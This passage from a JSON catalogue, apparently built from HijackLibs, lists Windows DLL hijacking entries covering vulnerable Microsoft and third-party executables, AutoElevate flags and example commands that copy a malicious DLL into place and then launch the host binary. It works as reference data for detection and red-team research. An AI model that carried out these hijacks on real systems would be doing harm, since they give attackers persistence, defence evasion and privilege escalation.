    ],
    "description": "avrt.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "avrt.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-avrt",
    "name": "avrt.dll",
    "namespace": "windows:dllhijack:avrt",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/avrt.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious avupdate.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Confer\\\\scanner\\\\upd.exe\\\\avupdate.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Confer\\\\scanner\\\\upd.exe\\\"\"\n\n# avupdate.dll\n\n**Vendor:** Carbon Black\n\n**Expected Location:** %PROGRAMFILES%\\Confer\\scanner\\upd.exe\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Confer\\scanner\\upd.exe (Sideloading)\n\n**Acknowledgement:** Josh Allman\n",
    "_source": "windows-dllhijack-avupdate.md",
    "author": "Josh Allman",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "avupdate.dll — Sideloading hijacking (Carbon Black)",
    "execution": {
      "template": "avupdate.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-avupdate",
    "name": "avupdate.dll",
    "namespace": "windows:dllhijack:avupdate",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blackpointcyber.com/resources/blog/qilin-ransomware-and-the-hidden-dangers-of-byovd/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/avupdate.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious avutil.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\VSO\\\\ConvertX\\\\7\\\\avutil.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\VSO\\\\ConvertX\\\\7\\\\ConvertXToDVD.exe\\\"\"\n\n# avutil.dll\n\n**Vendor:** VSO Software\n\n**Expected Location:** %PROGRAMFILES%\\VSO\\ConvertX\\7\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\VSO\\ConvertX\\7\\ConvertXToDVD.exe (Sideloading)\n\n**Acknowledgement:** Mangusta\n",
    "_source": "windows-dllhijack-avutil.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "avutil.dll — Sideloading hijacking (VSO Software)",
    "execution": {
      "template": "avutil.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-avutil",
    "name": "avutil.dll",
    "namespace": "windows:dllhijack:avutil",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://twitter.com/Tac_Mangusta/status/1807778398887928313"
      },
      {
        "label": "Reference",
        "url": "https://www.joesandbox.com/analysis/1357123/0/html"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/avutil.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious axeonoffhelper.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\axeonoffhelper.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\wpr.exe\\\"\"\n\n# axeonoffhelper.dll\n\n**Vendor:** Microsoft\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\wpr.exe (Phantom)\n\n**Acknowledgement:** Adam\n\n**Acknowledgement:** Swachchhanda Shrawan Poudel\n",
    "_source": "windows-dllhijack-axeonoffhelper.md",
    "author": "Swachchhanda Shrawan Poudel",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "axeonoffhelper.dll — Phantom hijacking (Microsoft)",
    "execution": {
      "template": "axeonoffhelper.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-axeonoffhelper",
    "name": "axeonoffhelper.dll",
    "namespace": "windows:dllhijack:axeonoffhelper",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.hexacorn.com/blog/2025/06/14/wpr-exe-boottrace-phantom-dll-axeonoffhelper-dll-lolbin/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/axeonoffhelper.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious badata_x64.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\True Burner\\\\badata_x64.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\True Burner\\\\TrueBurner.exe\\\"\"\n\n# badata_x64.dll\n\n**Vendor:** Glorylogic\n\n**Expected Location:** %PROGRAMFILES%\\True Burner\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\True Burner\\TrueBurner.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-badata-x64.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "badata_x64.dll — Sideloading hijacking (Glorylogic)",
    "execution": {
      "template": "badata_x64.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-badata-x64",
    "name": "badata_x64.dll",
    "namespace": "windows:dllhijack:badata-x64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/9326dd40e37d720f15a0104f89d6e76eb7a75b6e1fad14018326dbaa01681e74/relations"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/badata-x64.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious basicnetutils.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%LOCALAPPDATA%\\\\Temp\\\\%VERSION%\\\\Application2\\\\basicnetutils.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%LOCALAPPDATA%\\\\Temp\\\\%VERSION%\\\\Application2\\\\XLGameUpdate.exe\\\"\"\n\n# basicnetutils.dll\n\n**Vendor:** Baidu\n\n**Expected Location:** %LOCALAPPDATA%\\Temp\\%VERSION%\\Application2\n\n**Vulnerable Executables:**\n- %LOCALAPPDATA%\\Temp\\%VERSION%\\Application2\\XLGameUpdate.exe (Sideloading)\n",
    "_source": "windows-dllhijack-basicnetutils.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "basicnetutils.dll — Sideloading hijacking (Baidu)",
    "execution": {
      "template": "basicnetutils.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-basicnetutils",
    "name": "basicnetutils.dll",
    "namespace": "windows:dllhijack:basicnetutils",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/"
      },
      {
        "label": "Reference",
        "url": "https://www.welivesecurity.com/2023/03/16/not-so-private-messaging-trojanized-whatsapp-telegram-cryptocurrency-wallets/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/basicnetutils.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious batmeter.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\batmeter.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\mblctr.exe\\\"\"\n\n# batmeter.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\mblctr.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-batmeter.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "batmeter.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "batmeter.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-batmeter",
    "name": "batmeter.dll",
    "namespace": "windows:dllhijack:batmeter",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/batmeter.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious bcd.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\bcd.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bootim.exe\\\"\"\n\n# bcd.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bootim.exe (Sideloading)\n- %SYSTEM32%\\cidiag.exe (Sideloading)\n- %SYSTEM32%\\genvalobj.exe (Sideloading)\n- %SYSTEM32%\\mdsched.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\msconfig.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\recdisc.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\recoverydrive.exe (Sideloading)\n- %SYSTEM32%\\resetengine.exe (Sideloading)\n- %SYSTEM32%\\rstrui.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\sdclt.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\srtasks.exe (Sideloading)\n- %SYSTEM32%\\systempropertiesadvanced.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\systempropertiescomputername.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\systempropertiesdataexecutionprevention.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\systempropertieshardware.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\systempropertiesprotection.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\systempropertiesremote.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\systemreset.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\vds.exe (Sideloading)\n- %SYSTEM32%\\vdsldr.exe (Sideloading)\n- %SYSTEM32%\\vssvc.exe (Sideloading)\n- %SYSTEM32%\\wbengine.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-bcd.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "bcd.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "bcd.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-bcd",
    "name": "bcd.dll",
    "namespace": "windows:dllhijack:bcd",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/bcd.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious bcp47langs.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\bcp47langs.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\lpremove.exe\\\"\"\n\n# bcp47langs.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\lpremove.exe (Sideloading)\n- %SYSTEM32%\\systemsettingsadminflows.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-bcp47langs.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "bcp47langs.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "bcp47langs.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "requires-root"
    ],
    "id": "windows-dllhijack-bcp47langs",
    "name": "bcp47langs.dll",
    "namespace": "windows:dllhijack:bcp47langs",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/bcp47langs.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious bcp47mrm.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\bcp47mrm.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\mcbuilder.exe\\\"\"\n\n# bcp47mrm.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\mcbuilder.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-bcp47mrm.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "bcp47mrm.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "bcp47mrm.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system"
    ],
    "id": "windows-dllhijack-bcp47mrm",
    "name": "bcp47mrm.dll",
    "namespace": "windows:dllhijack:bcp47mrm",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/bcp47mrm.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious bcrypt.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\bcrypt.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\shellappruntime.exe\\\"\"\n\n# bcrypt.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\shellappruntime.exe (Environment Variable)\n- %SYSTEM32%\\wordpad.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-bcrypt.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "bcrypt.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "bcrypt.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-bcrypt",
    "name": "bcrypt.dll",
    "namespace": "windows:dllhijack:bcrypt",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/bcrypt.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious bderepair.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\bderepair.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\repair-bde.exe\\\"\"\n\n# bderepair.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\repair-bde.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-bderepair.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "bderepair.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "bderepair.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-bderepair",
    "name": "bderepair.dll",
    "namespace": "windows:dllhijack:bderepair",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/bderepair.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious bootmenuux.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\bootmenuux.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bootim.exe\\\"\"\n\n# bootmenuux.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bootim.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-bootmenuux.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "bootmenuux.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "bootmenuux.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-bootmenuux",
    "name": "bootmenuux.dll",
    "namespace": "windows:dllhijack:bootmenuux",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/bootmenuux.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious bootux.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\bootux.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bootim.exe\\\"\"\n\n# bootux.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bootim.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-bootux.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "bootux.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "bootux.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-bootux",
    "name": "bootux.dll",
    "namespace": "windows:dllhijack:bootux",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/bootux.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious bthprops.cpl.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\bthprops.cpl.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\fsquirt.exe\\\"\"\n\n# bthprops.cpl.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\fsquirt.exe (Sideloading)\n\n**Acknowledgement:** Swachchhanda Shrawan Poudel\n",
    "_source": "windows-dllhijack-bthprops-cpl.md",
    "author": "Swachchhanda Shrawan Poudel",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "bthprops.cpl.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "bthprops.cpl.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "process-manip"
    ],
    "id": "windows-dllhijack-bthprops-cpl",
    "name": "bthprops.cpl.dll",
    "namespace": "windows:dllhijack:bthprops-cpl",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/mhaskar/FsquirtCPLPoC"
      },
      {
        "label": "Reference",
        "url": "https://securelist.com/sidewinder-apt/114089/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/bthprops-cpl.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious bugsplat64.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Nitro\\\\PDF Pro\\\\\\\\bugsplat64.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"BugSplatHD64.exe\\\"\"\n\n# bugsplat64.dll\n\n**Vendor:** BugSplat\n\n**Expected Location:** %PROGRAMFILES%\\Nitro\\PDF Pro\\\n\n**Vulnerable Executables:**\n- BugSplatHD64.exe (Sideloading)\n\n**Acknowledgement:** Ankit Anubhav\n\n**Acknowledgement:** Swachchhanda Shrawan Poudel\n",
    "_source": "windows-dllhijack-bugsplat64.md",
    "author": "Swachchhanda Shrawan Poudel",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "bugsplat64.dll — Sideloading hijacking (BugSplat)",
    "execution": {
      "template": "bugsplat64.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-bugsplat64",
    "name": "bugsplat64.dll",
    "namespace": "windows:dllhijack:bugsplat64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://x.com/ankit_anubhav/status/1895061182689747333"
      },
      {
        "label": "Reference",
        "url": "https://bazaar.abuse.ch/sample/97791eba8ac9745155cea4cc1a90e44765a97b840441220ec13c82f719c65f1a/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/bugsplat64.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious cabinet.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\cabinet.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bootim.exe\\\"\"\n\n# cabinet.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bootim.exe (Sideloading)\n- %SYSTEM32%\\certutil.exe (Sideloading)\n- %SYSTEM32%\\cmdl32.exe (Sideloading)\n- %SYSTEM32%\\expand.exe (Sideloading)\n- %SYSTEM32%\\extrac32.exe (Sideloading)\n- %SYSTEM32%\\iesettingsync.exe (Sideloading)\n- %SYSTEM32%\\licensingdiag.exe (Sideloading)\n- %SYSTEM32%\\makecab.exe (Sideloading)\n- %SYSTEM32%\\msdt.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\musnotification.exe (Sideloading)\n- %SYSTEM32%\\musnotificationux.exe (Sideloading)\n- %SYSTEM32%\\netsh.exe (Sideloading)\n- %SYSTEM32%\\plasrv.exe (Sideloading)\n- %SYSTEM32%\\pnputil.exe (Sideloading)\n- %SYSTEM32%\\reagentc.exe (Sideloading)\n- %SYSTEM32%\\recdisc.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\relpost.exe (Sideloading)\n- %SYSTEM32%\\resetengine.exe (Sideloading)\n- %SYSTEM32%\\sdclt.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\sihclient.exe (Sideloading)\n- %SYSTEM32%\\systemreset.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\usocoreworker.exe (Sideloading)\n- %SYSTEM32%\\wextract.exe (Sideloading)\n- %SYSTEM32%\\wimserv.exe (Sideloading)\n- %SYSTEM32%\\wpnpinst.exe (Sideloading)\n- %SYSTEM32%\\logman.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-cabinet.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "cabinet.dll — Sideloading, Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "cabinet.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-cabinet",
    "name": "cabinet.dll",
    "namespace": "windows:dllhijack:cabinet",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/cabinet.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious cabview.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\cabview.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\notepad.exe\\\"\"\n\n# cabview.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\notepad.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-cabview.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "cabview.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "cabview.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-cabview",
    "name": "cabview.dll",
    "namespace": "windows:dllhijack:cabview",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/cabview.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious calibre-launcher.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Calibre2\\\\calibre-launcher.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"calibre.exe\\\"\"\n\n# calibre-launcher.dll\n\n**Vendor:** Calibre\n\n**Expected Location:** %PROGRAMFILES%\\Calibre2\n\n**Vulnerable Executables:**\n- calibre.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n\n**Acknowledgement:** Craig Sweeney\n",
    "_source": "windows-dllhijack-calibre-launcher.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "calibre-launcher.dll — Sideloading hijacking (Calibre)",
    "execution": {
      "template": "calibre-launcher.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-calibre-launcher",
